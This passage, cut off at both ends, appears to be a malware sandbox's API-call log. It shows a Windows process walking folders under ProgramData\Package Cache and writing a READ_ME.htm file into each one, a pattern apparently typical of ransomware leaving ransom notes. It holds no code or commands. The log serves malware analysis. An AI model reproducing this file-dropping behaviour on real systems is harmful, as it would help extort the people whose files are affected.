ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.710] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.710] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.710] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.710] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.711] SetErrorMode (uMode=0x0) returned 0x1 [0139.712] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", nBufferLength=0x105, lpBuffer=0x21d110, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D", lpFilePart=0x0) returned 0x45 [0139.712] SetErrorMode (uMode=0x1) returned 0x0 [0139.712] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\*" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\*"), lpFindFileData=0x21d2b0 | out: lpFindFileData=0x21d2b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.713] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56db4070, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.713] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 1 [0139.713] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d2c0 | out: lpFindFileData=0x21d2c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="packages", cAlternateFileName="")) returned 0 [0139.713] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.713] SetErrorMode (uMode=0x0) returned 0x1 [0139.713] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", lpFilePart=0x0) returned 0x4e [0139.714] SetErrorMode (uMode=0x1) returned 0x0 [0139.714] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.714] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.714] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0139.715] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0139.715] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.715] SetErrorMode (uMode=0x0) returned 0x1 [0139.715] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", nBufferLength=0x105, lpBuffer=0x21d050, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages", lpFilePart=0x0) returned 0x4e [0139.715] SetErrorMode (uMode=0x1) returned 0x0 [0139.715] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\*" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\*"), lpFindFileData=0x21d1f0 | out: lpFindFileData=0x21d1f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.716] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.716] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 1 [0139.716] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d200 | out: lpFindFileData=0x21d200*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Patch", cAlternateFileName="")) returned 0 [0139.716] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.716] SetErrorMode (uMode=0x0) returned 0x1 [0139.716] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", lpFilePart=0x0) returned 0x54 [0139.717] SetErrorMode (uMode=0x1) returned 0x0 [0139.717] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.717] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.718] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0139.718] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0139.718] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.718] SetErrorMode (uMode=0x0) returned 0x1 [0139.718] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", nBufferLength=0x105, lpBuffer=0x21cf90, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch", lpFilePart=0x0) returned 0x54 [0139.718] SetErrorMode (uMode=0x1) returned 0x0 [0139.718] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\*" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\*"), lpFindFileData=0x21d130 | out: lpFindFileData=0x21d130*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.718] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.719] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 1 [0139.719] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d140 | out: lpFindFileData=0x21d140*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="x64", cAlternateFileName="")) returned 0 [0139.719] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.719] SetErrorMode (uMode=0x0) returned 0x1 [0139.719] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x58 [0139.719] SetErrorMode (uMode=0x1) returned 0x0 [0139.719] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.720] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.720] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972dc300, ftCreationTime.dwHighDateTime=0x1d287fd, ftLastAccessTime.dwLowDateTime=0x972dc300, ftLastAccessTime.dwHighDateTime=0x1d287fd, ftLastWriteTime.dwLowDateTime=0x972dc300, ftLastWriteTime.dwHighDateTime=0x1d287fd, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0139.720] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972dc300, ftCreationTime.dwHighDateTime=0x1d287fd, ftLastAccessTime.dwLowDateTime=0x972dc300, ftLastAccessTime.dwHighDateTime=0x1d287fd, ftLastWriteTime.dwLowDateTime=0x972dc300, ftLastWriteTime.dwHighDateTime=0x1d287fd, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0139.720] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.720] SetErrorMode (uMode=0x0) returned 0x1 [0139.720] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", nBufferLength=0x105, lpBuffer=0x21ced0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64", lpFilePart=0x0) returned 0x58 [0139.720] SetErrorMode (uMode=0x1) returned 0x0 [0139.721] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\*" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\*"), lpFindFileData=0x21d070 | out: lpFindFileData=0x21d070*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x2fe5d0 [0139.721] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x56e00330, ftCreationTime.dwHighDateTime=0x1d706ac, ftLastAccessTime.dwLowDateTime=0x56e00330, ftLastAccessTime.dwHighDateTime=0x1d706ac, ftLastWriteTime.dwLowDateTime=0x56e00330, ftLastWriteTime.dwHighDateTime=0x1d706ac, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.721] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972dc300, ftCreationTime.dwHighDateTime=0x1d287fd, ftLastAccessTime.dwLowDateTime=0x972dc300, ftLastAccessTime.dwHighDateTime=0x1d287fd, ftLastWriteTime.dwLowDateTime=0x972dc300, ftLastWriteTime.dwHighDateTime=0x1d287fd, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0139.721] FindNextFileW (in: hFindFile=0x2fe5d0, lpFindFileData=0x21d080 | out: lpFindFileData=0x21d080*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x972dc300, ftCreationTime.dwHighDateTime=0x1d287fd, ftLastAccessTime.dwLowDateTime=0x972dc300, ftLastAccessTime.dwHighDateTime=0x1d287fd, ftLastWriteTime.dwLowDateTime=0x972dc300, ftLastWriteTime.dwHighDateTime=0x1d287fd, nFileSizeHigh=0x0, nFileSizeLow=0xfc93c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Windows6.1-KB2999226-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 0 [0139.721] FindClose (in: hFindFile=0x2fe5d0 | out: hFindFile=0x2fe5d0) returned 1 [0139.721] SetErrorMode (uMode=0x0) returned 0x1 [0139.722] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cd70, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\READ_ME.htm", lpFilePart=0x0) returned 0x64 [0139.722] SetErrorMode (uMode=0x1) returned 0x0 [0139.722] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\x64\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\x64\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.723] SetErrorMode (uMode=0x0) returned 0x1 [0139.723] GetFileType (hFile=0x1d0) returned 0x1 [0139.723] WriteFile (in: hFile=0x1d0, lpBuffer=0x2937898*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d2d8, lpOverlapped=0x0 | out: lpBuffer=0x2937898*, lpNumberOfBytesWritten=0x21d2d8*=0x720, lpOverlapped=0x0) returned 1 [0139.724] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21ce30, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\READ_ME.htm", lpFilePart=0x0) returned 0x60 [0139.724] SetErrorMode (uMode=0x1) returned 0x0 [0139.725] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\Patch\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\patch\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.725] SetErrorMode (uMode=0x0) returned 0x1 [0139.725] GetFileType (hFile=0x1d0) returned 0x1 [0139.725] WriteFile (in: hFile=0x1d0, lpBuffer=0x293bee8*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d398, lpOverlapped=0x0 | out: lpBuffer=0x293bee8*, lpNumberOfBytesWritten=0x21d398*=0x720, lpOverlapped=0x0) returned 1 [0139.727] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cef0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\READ_ME.htm", lpFilePart=0x0) returned 0x5a [0139.727] SetErrorMode (uMode=0x1) returned 0x0 [0139.727] CreateFileW (lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\packages\\READ_ME.htm" (normalized: "c:\\programdata\\package cache\\54050a5f8ae7f0c56e553f0090146c17a1d2bf8d\\packages\\read_me.htm"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x1d0 [0139.728] SetErrorMode (uMode=0x0) returned 0x1 [0139.728] GetFileType (hFile=0x1d0) returned 0x1 [0139.728] WriteFile (in: hFile=0x1d0, lpBuffer=0x2940518*, nNumberOfBytesToWrite=0x720, lpNumberOfBytesWritten=0x21d458, lpOverlapped=0x0 | out: lpBuffer=0x2940518*, lpNumberOfBytesWritten=0x21d458*=0x720, lpOverlapped=0x0) returned 1 [0139.729] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Package Cache\\54050A5F8AE7F0C56E553F0090146C17A1D2BF8D\\READ_ME.htm", nBufferLength=0x105, lpBuffer=0x21cfb0, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Package 